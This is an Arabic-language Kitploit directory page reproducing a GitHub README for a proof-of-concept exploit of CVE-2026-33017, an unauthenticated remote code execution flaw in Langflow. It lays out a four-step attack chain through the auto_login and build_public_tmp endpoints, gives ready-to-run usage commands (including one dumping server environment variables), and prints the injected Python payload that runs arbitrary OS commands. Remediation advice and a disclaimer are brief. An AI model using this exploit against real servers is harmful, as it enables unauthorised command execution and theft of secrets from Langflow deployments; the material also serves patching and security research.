Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33017-langflow-rce | Kitploit
أدوات/GitHubGitHub/r3nsi15/cve-2026-33017-langflow-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمرتطوير الحمولات
GitHubr3nsi15/cve-2026-33017-langflow-rce

CVE-2026-33017-langflow-rce

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33017 — تنفيذ التعليمات البرمجية عن بُعد دون مصادقة في Langflow (RCE)

نظرة عامة

معرف CVE: CVE-2026-33017
البرنامج المتأثر: Langflow الإصدارات المعرضة للخطر: <= 1.8.2 الإصدار المُصحح: >= 1.9.0 الخطورة: حرجة
المؤلف: r3nsi15
التاريخ: 2026

الوصف

يكشف Langflow عن نقطة نهاية عامة لبناء التدفقات (/api/v1/build_public_tmp/{flowID}/flow) تقبل كتلًا برمجية عشوائية من نوع CustomComponent وتنفذها على الخادم دون أي مصادقة. عن طريق حقن حمولة Python خبيثة في حقل code لعقدة CustomComponent، يمكن لمهاجم غير مُصادق عليه تنفيذ أوامر نظام تشغيل عشوائية بصلاحيات عملية خادم Langflow.

تبدأ سلسلة الهجوم باستغلال نقطة النهاية /api/v1/auto_login، التي تُصدر رمز bearer دون طلب أي بيانات اعتماد عندما يعمل Langflow بتهيئة تسجيل الدخول التلقائي الافتراضية. ثم تستخدم هذا الرمز لإنشاء تدفق عام مؤقت وتشغيل تنفيذ التعليمات البرمجية على الخادم عبر نقطة نهاية البناء.

نقاط النهاية المتأثرة

إثبات المفهوم

الملف: CVE-2026-33017_POC.py

المتطلبات

  • Python 3.x
  • مكتبة requests
  • وصول شبكي إلى نسخة Langflow تعمل مع تفعيل تسجيل الدخول التلقائي
root@kitploit:~
pip install requests

الاستخدام

root@kitploit:~
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

الوسائط

أمثلة

التحقق من تنفيذ التعليمات البرمجية:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

استرجاع متغيرات بيئة الخادم:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

إبقاء التدفق نشطًا بعد الاستغلال (تخطي التنظيف):

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

المخرجات المتوقعة

root@kitploit:~
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

تفصيل الحمولة

يحقن الاستغلال المقتطف البرمجي التالي بلغة Python في حقل code لعقدة CustomComponent:

root@kitploit:~
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) - يستورد وحدة os ديناميكيًا وينفذ أمر الصدفة الذي يوفره المهاجم على الخادم.
  • بقية تعريف الفئة هو CustomComponent صالح مطلوب لإرضاء محمّل مكونات Langflow دون إثارة خطأ في التحليل.
  • يتم إنشاء التدفق كـ PUBLIC ويتم استدعاء نقطة نهاية البناء على نقطة النهاية العامة الخاصة به، مما يعني عدم الحاجة إلى ملف تعريف ارتباط للجلسة أو رمز مصادقة لتشغيل التنفيذ.

السبب الجذري

يسمح نظام CustomComponent في Langflow بتقديم تعليمات برمجية عشوائية بلغة Python كجزء من تعريف التدفق. تعمل نقطة النهاية /api/v1/build_public_tmp/{flowID}/flow على بناء وتقييم هذه التعليمات البرمجية جزئيًا على الخادم، بما في ذلك العبارات على مستوى الوحدة، دون وضعها في بيئة معزولة (sandbox) أو تقييد الوصول إلى الدوال المدمجة في Python مثل __import__.

ملخص سلسلة الهجوم

root@kitploit:~
1. GET /api/v1/auto_login          →  Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/             →  Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/  →  Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id}       →  Clean up (optional)

يمكن تنفيذ جميع الخطوات الأربع بواسطة مهاجم مجهول ضد نشر افتراضي لـ Langflow.

الإصلاح

  • قم بترقية Langflow إلى الإصدار 1.9.0 أو أحدث.
  • عطّل تسجيل الدخول التلقائي (LANGFLOW_AUTO_LOGIN=false) في أي نشر مواجه للإنترنت.

إخلاء مسؤولية

يُقدَّم إثبات المفهوم هذا لأغراض تعليمية وبحوث أمنية مصرح بها فقط. يعد استخدام هذا السكربت ضد أنظمة دون إذن كتابي صريح أمرًا غير قانوني وغير أخلاقي. لا يتحمل المؤلف والمساهمون أي مسؤولية عن سوء الاستخدام.

تنزيل الأداة
نقطة النهايةالطريقةمصادقة مطلوبةالغرض
/api/v1/auto_loginGETلاالحصول على رمز bearer (يجب تفعيل تسجيل الدخول التلقائي)
/api/v1/flows/POSTنعم (Bearer)إنشاء تدفق جديد
/api/v1/build_public_tmp/{flowID}/flowPOSTلا (عام)تشغيل البناء — نقطة التنفيذ المعرضة للخطر
/api/v1/flows/{flowID}DELETEنعم (Bearer)تنظيف التدفق الذي تم إنشاؤه
العلامةالصيغة الطويلةمطلوبالوصف
-u--urlنعمعنوان URL الأساسي لنسخة Langflow
-c--commandنعمأمر نظام التشغيل لتنفيذه على الخادم
-d--deleteلاحذف التدفق الذي تم إنشاؤه بعد الاستغلال